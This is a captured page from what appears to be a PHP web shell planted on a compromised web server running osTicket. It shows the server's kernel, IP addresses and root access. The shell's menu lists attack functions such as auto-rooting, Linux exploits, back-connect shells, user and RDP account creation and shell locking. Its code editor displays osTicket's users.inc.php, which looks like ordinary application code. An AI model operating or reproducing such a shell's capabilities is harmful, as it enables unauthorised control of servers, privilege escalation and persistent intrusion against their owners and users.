Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
staff /
[ HOME SHELL ]
Name
Size
Permission
Action
templates
[ DIR ]
drwxr-xr-x
apikey.inc.php
4.66
KB
-rw-r--r--
apikeys.inc.php
7.6
KB
-rw-r--r--
banlist.inc.php
8.71
KB
-rw-r--r--
banrule.inc.php
2.93
KB
-rw-r--r--
cannedresponse.inc.php
6.09
KB
-rw-r--r--
cannedresponses.inc.php
8.02
KB
-rw-r--r--
categories.inc.php
7.03
KB
-rw-r--r--
category.inc.php
6.48
KB
-rw-r--r--
dashboard.inc.php
6.85
KB
-rw-r--r--
department.inc.php
22.65
KB
-rw-r--r--
departments.inc.php
10.45
KB
-rw-r--r--
directory.inc.php
5.86
KB
-rw-r--r--
dynamic-form.inc.php
15.15
KB
-rw-r--r--
dynamic-forms.inc.php
5.26
KB
-rw-r--r--
dynamic-list.inc.php
11.09
KB
-rw-r--r--
dynamic-lists.inc.php
4.62
KB
-rw-r--r--
email.inc.php
17.89
KB
-rw-r--r--
emails.inc.php
7.03
KB
-rw-r--r--
faq-categories.inc.php
6.88
KB
-rw-r--r--
faq-category.inc.php
3.02
KB
-rw-r--r--
faq-view.inc.php
3.52
KB
-rw-r--r--
faq.inc.php
10.33
KB
-rw-r--r--
filter.inc.php
18.87
KB
-rw-r--r--
filters.inc.php
9.23
KB
-rw-r--r--
footer.inc.php
3.88
KB
-rw-r--r--
header.inc.php
5.82
KB
-rw-r--r--
helptopic.inc.php
20.7
KB
-rw-r--r--
helptopics.inc.php
9.74
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
login.header.php
1.09
KB
-rw-r--r--
login.tpl.php
5.67
KB
-rw-r--r--
org-view.inc.php
4.45
KB
-rw-r--r--
orgs.inc.php
8.39
KB
-rw-r--r--
page.inc.php
7.86
KB
-rw-r--r--
pages.inc.php
7.64
KB
-rw-r--r--
plugin-add.inc.php
1.22
KB
-rw-r--r--
plugin.inc.php
1.54
KB
-rw-r--r--
plugins.inc.php
5.38
KB
-rw-r--r--
profile.inc.php
18.14
KB
-rw-r--r--
pwreset.login.php
1.77
KB
-rw-r--r--
pwreset.php
1.7
KB
-rw-r--r--
pwreset.sent.php
1.55
KB
-rw-r--r--
queue.inc.php
15.59
KB
-rw-r--r--
queues-ticket.inc.php
4.5
KB
-rw-r--r--
role.inc.php
4.88
KB
-rw-r--r--
roles.inc.php
5.5
KB
-rw-r--r--
schedule.inc.php
4.53
KB
-rw-r--r--
schedules.inc.php
5.34
KB
-rw-r--r--
settings-agents.inc.php
11.69
KB
-rw-r--r--
settings-alerts.inc.php
10.71
KB
-rw-r--r--
settings-autoresp.inc.php
2.48
KB
-rw-r--r--
settings-emails.inc.php
9.76
KB
-rw-r--r--
settings-kb.inc.php
2.18
KB
-rw-r--r--
settings-pages.inc.php
15.32
KB
-rw-r--r--
settings-system.inc.php
22.5
KB
-rw-r--r--
settings-tasks.inc.php
15.03
KB
-rw-r--r--
settings-tickets.inc.php
13.36
KB
-rw-r--r--
settings-users.inc.php
8.6
KB
-rw-r--r--
slaplan.inc.php
5.93
KB
-rw-r--r--
slaplans.inc.php
7.99
KB
-rw-r--r--
staff.inc.php
20.18
KB
-rw-r--r--
staffmembers.inc.php
12.63
KB
-rw-r--r--
syslogs.inc.php
8.57
KB
-rw-r--r--
system.inc.php
7.55
KB
-rw-r--r--
task-view.inc.php
93
B
-rw-r--r--
tasks.inc.php
18.23
KB
-rw-r--r--
team.inc.php
8.73
KB
-rw-r--r--
teams.inc.php
8.14
KB
-rw-r--r--
template.inc.php
7.21
KB
-rw-r--r--
templates.inc.php
8.25
KB
-rw-r--r--
ticket-edit.inc.php
8.58
KB
-rw-r--r--
ticket-open.inc.php
23.42
KB
-rw-r--r--
ticket-relations.inc.php
1.25
KB
-rw-r--r--
ticket-tasks.inc.php
7.29
KB
-rw-r--r--
ticket-view.inc.php
69.13
KB
-rw-r--r--
tpl.inc.php
5.79
KB
-rw-r--r--
user-view.inc.php
9.22
KB
-rw-r--r--
users.inc.php
12.64
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : users.inc.php
<?php if(!defined('OSTSCPINC') || !$thisstaff) die('Access Denied'); // Ensure cdata UserForm::ensureDynamicDataView(); $qs = array(); $users = User::objects() ->annotate(array('ticket_count'=>SqlAggregate::COUNT('tickets'))); if ($_REQUEST['query']) { $search = $_REQUEST['query']; $filter = Q::any(array( 'emails__address__contains' => $search, 'name__contains' => $search, 'org__name__contains' => $search, )); if (UserForm::getInstance()->getField('phone')) $filter->add(array('cdata__phone__contains' => $search)); $users->filter($filter); $qs += array('query' => $_REQUEST['query']); } $sortOptions = array('name' => 'name', 'email' => 'emails__address', 'status' => 'account__status', 'create' => 'created', 'update' => 'updated'); $orderWays = array('DESC'=>'-','ASC'=>''); $sort= ($_REQUEST['sort'] && $sortOptions[strtolower($_REQUEST['sort'])]) ? strtolower($_REQUEST['sort']) : 'name'; //Sorting options... if ($sort && $sortOptions[$sort]) $order_column =$sortOptions[$sort]; $order_column = $order_column ?: 'name'; if ($_REQUEST['order'] && $orderWays[strtoupper($_REQUEST['order'])]) $order = $orderWays[strtoupper($_REQUEST['order'])]; if ($order_column && strpos($order_column,',')) $order_column = str_replace(','," $order,",$order_column); $x=$sort.'_sort'; $$x=' class="'.($order == '' ? 'asc' : 'desc').'" '; $total = $users->count(); $page=($_GET['p'] && is_numeric($_GET['p']))?$_GET['p']:1; $pageNav=new Pagenate($total,$page,PAGE_LIMIT); $pageNav->paginate($users); $qstr = '&'. Http::build_query($qs); $qs += array('sort' => $_REQUEST['sort'], 'order' => $_REQUEST['order']); $pageNav->setURL('users.php', $qs); $qstr.='&order='.($order=='-' ? 'ASC' : 'DESC'); //echo $query; $_SESSION[':Q:users'] = $users; $users->values('id', 'name', 'default_email__address', 'account__id', 'account__status', 'created', 'updated'); $users->order_by($order . $order_column); ?> <div id="basic_search"> <div style="min-height:25px;"> <form action="users.php" method="get"> <?php csrf_token(); ?> <input type="hidden" name="a" value="search"> <div class="attached input"> <input type="text" class="basic-search" id="basic-user-search" name="query" size="30" value="<?php echo Format::htmlchars($_REQUEST['query']); ?>" autocomplete="off" autocorrect="off" autocapitalize="off"> <!-- <td> <a href="" id="advanced-user-search">[advanced]</a></td> --> <button type="submit" class="attached button"><i class="icon-search"></i> </button> </div> </form> </div> </div> <form id="users-list" action="users.php" method="POST" name="staff" > <div style="margin-bottom:20px; padding-top:5px;"> <div class="sticky bar opaque"> <div class="content"> <div class="pull-left flush-left"> <h2><?php echo __('User Directory'); ?></h2> </div> <div class="pull-right"> <?php if ($thisstaff->hasPerm(User::PERM_CREATE)) { ?> <a class="green button action-button popup-dialog" href="#users/add"> <i class="icon-plus-sign"></i> <?php echo __('Add User'); ?> </a> <a class="action-button popup-dialog" href="#users/import"> <i class="icon-upload"></i> <?php echo __('Import'); ?> </a> <?php } ?> <span class="action-button" data-dropdown="#action-dropdown-more" style="/*DELME*/ vertical-align:top; margin-bottom:0"> <i class="icon-caret-down pull-right"></i> <span ><i class="icon-cog"></i> <?php echo __('More');?></span> </span> <div id="action-dropdown-more" class="action-dropdown anchor-right"> <ul> <?php if ($thisstaff->hasPerm(User::PERM_EDIT)) { ?> <li><a href="#add-to-org" class="users-action"> <i class="icon-group icon-fixed-width"></i> <?php echo __('Add to Organization'); ?></a></li> <?php } if ('disabled' != $cfg->getClientRegistrationMode()) { ?> <li><a class="users-action" href="#reset"> <i class="icon-envelope icon-fixed-width"></i> <?php echo __('Send Password Reset Email'); ?></a></li> <?php if ($thisstaff->hasPerm(User::PERM_MANAGE)) { ?> <li><a class="users-action" href="#register"> <i class="icon-smile icon-fixed-width"></i> <?php echo __('Register'); ?></a></li> <li><a class="users-action" href="#lock"> <i class="icon-lock icon-fixed-width"></i> <?php echo __('Lock'); ?></a></li> <li><a class="users-action" href="#unlock"> <i class="icon-unlock icon-fixed-width"></i> <?php echo __('Unlock'); ?></a></li> <?php } if ($thisstaff->hasPerm(User::PERM_DELETE)) { ?> <li class="danger"><a class="users-action" href="#delete"> <i class="icon-trash icon-fixed-width"></i> <?php echo __('Delete'); ?></a></li> <?php } } # end of registration-enabled? ?> </ul> </div> </div> </div> </div> </div> <div class="clear"></div> <?php $showing = $search ? __('Search Results').': ' : ''; if($users->exists(true)) $showing .= $pageNav->showing(); else $showing .= __('No users found!'); ?> <?php csrf_token(); ?> <input type="hidden" name="do" value="mass_process" > <input type="hidden" id="action" name="a" value="" > <input type="hidden" id="selected-count" name="count" value="" > <input type="hidden" id="org_id" name="org_id" value="" > <table class="list" border="0" cellspacing="1" cellpadding="0" width="940"> <thead> <tr> <th nowrap width="4%"> </th> <th><a <?php echo $name_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=name"><?php echo __('Name'); ?></a></th> <th width="22%"><a <?php echo $status_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=status"><?php echo __('Status'); ?></a></th> <th width="20%"><a <?php echo $create_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=create"><?php echo __('Created'); ?></a></th> <th width="20%"><a <?php echo $update_sort; ?> href="users.php?<?php echo $qstr; ?>&sort=update"><?php echo __('Updated'); ?></a></th> </tr> </thead> <tbody> <?php $ids=($errors && is_array($_POST['ids']))?$_POST['ids']:null; foreach ($users as $U) { // Default to email address mailbox if no name specified if (!$U['name']) list($name) = explode('@', $U['default_email__address']); else $name = new UsersName($U['name']); // Account status if ($U['account__id']) $status = new UserAccountStatus($U['account__status']); else $status = __('Guest'); $sel=false; if($ids && in_array($U['id'], $ids)) $sel=true; ?> <tr id="<?php echo $U['id']; ?>"> <td nowrap align="center"> <input type="checkbox" value="<?php echo $U['id']; ?>" class="ckb mass nowarn"/> </td> <td> <a class="preview" href="users.php?id=<?php echo $U['id']; ?>" data-preview="#users/<?php echo $U['id']; ?>/preview"><?php echo Format::htmlchars($name); ?></a> <?php if ($U['ticket_count']) echo sprintf('<i class="icon-fixed-width icon-file-text-alt"></i> <small>(%d)</small>', $U['ticket_count']); ?> </td> <td><?php echo $status; ?></td> <td><?php echo Format::date($U['created']); ?></td> <td><?php echo Format::datetime($U['updated']); ?> </td> </tr> <?php } //end of foreach. ?> </tbody> <tfoot> <tr> <td colspan="7"> <?php if ($total) { ?> <?php echo __('Select');?>: <a id="selectAll" href="#ckb"><?php echo __('All');?></a> <a id="selectNone" href="#ckb"><?php echo __('None');?></a> <a id="selectToggle" href="#ckb"><?php echo __('Toggle');?></a> <?php }else{ echo '<i>'; echo __('Query returned 0 results.'); echo '</i>'; } ?> </td> </tr> </tfoot> </table> <?php if ($total) { echo sprintf('<div> '.__('Page').': %s <a class="no-pjax" href="users.php?a=export&qh=%s">'.__('Export').'</a></div>', $pageNav->getPageLinks(), $qhash); } ?> </form> <script type="text/javascript"> $(function() { $('input#basic-user-search').typeahead({ source: function (typeahead, query) { $.ajax({ url: "ajax.php/users/local?q="+query, dataType: 'json', success: function (data) { typeahead.process(data); } }); }, onselect: function (obj) { window.location.href = 'users.php?id='+obj.id; }, property: "/bin/true" }); $(document).on('click', 'a.popup-dialog', function(e) { e.preventDefault(); $.userLookup('ajax.php/' + $(this).attr('href').substr(1), function (user) { var url = window.location.href; if (user && user.id) url = 'users.php?id='+user.id; $.pjax({url: url, container: '#pjax-container'}) return false; }); return false; }); var goBaby = function(action, confirmed) { var ids = [], $form = $('form#users-list'); $(':checkbox.mass:checked', $form).each(function() { ids.push($(this).val()); }); if (ids.length) { var submit = function(data) { $form.find('#action').val(action); $.each(ids, function() { $form.append($('<input type="hidden" name="ids[]">').val(this)); }); if (data) $.each(data, function() { $form.append($('<input type="hidden">').attr('name', this.name).val(this.value)); }); $form.find('#selected-count').val(ids.length); $form.submit(); }; var options = {}; if (action === 'delete') { options['deletetickets'] = __('Also delete all associated tickets and attachments'); } else if (action === 'add-to-org') { $.dialog('ajax.php/orgs/lookup/form', 201, function(xhr, json) { var $form = $('form#users-list'); try { var json = $.parseJSON(json), org_id = $form.find('#org_id'); if (json.id) { org_id.val(json.id); goBaby('setorg', true); } } catch (e) { } }); return; } if (!confirmed) $.confirm(__('You sure?'), undefined, options).then(submit); else submit(); } else { $.sysAlert(__('Oops'), __('You need to select at least one item')); } }; $(document).on('click', 'a.users-action', function(e) { e.preventDefault(); goBaby($(this).attr('href').substr(1)); return false; }); // Remove CSRF Token From GET Request document.querySelector("form[action='users.php']").onsubmit = function() { document.getElementsByName("__CSRFToken__")[0].remove(); }; }); </script>
Close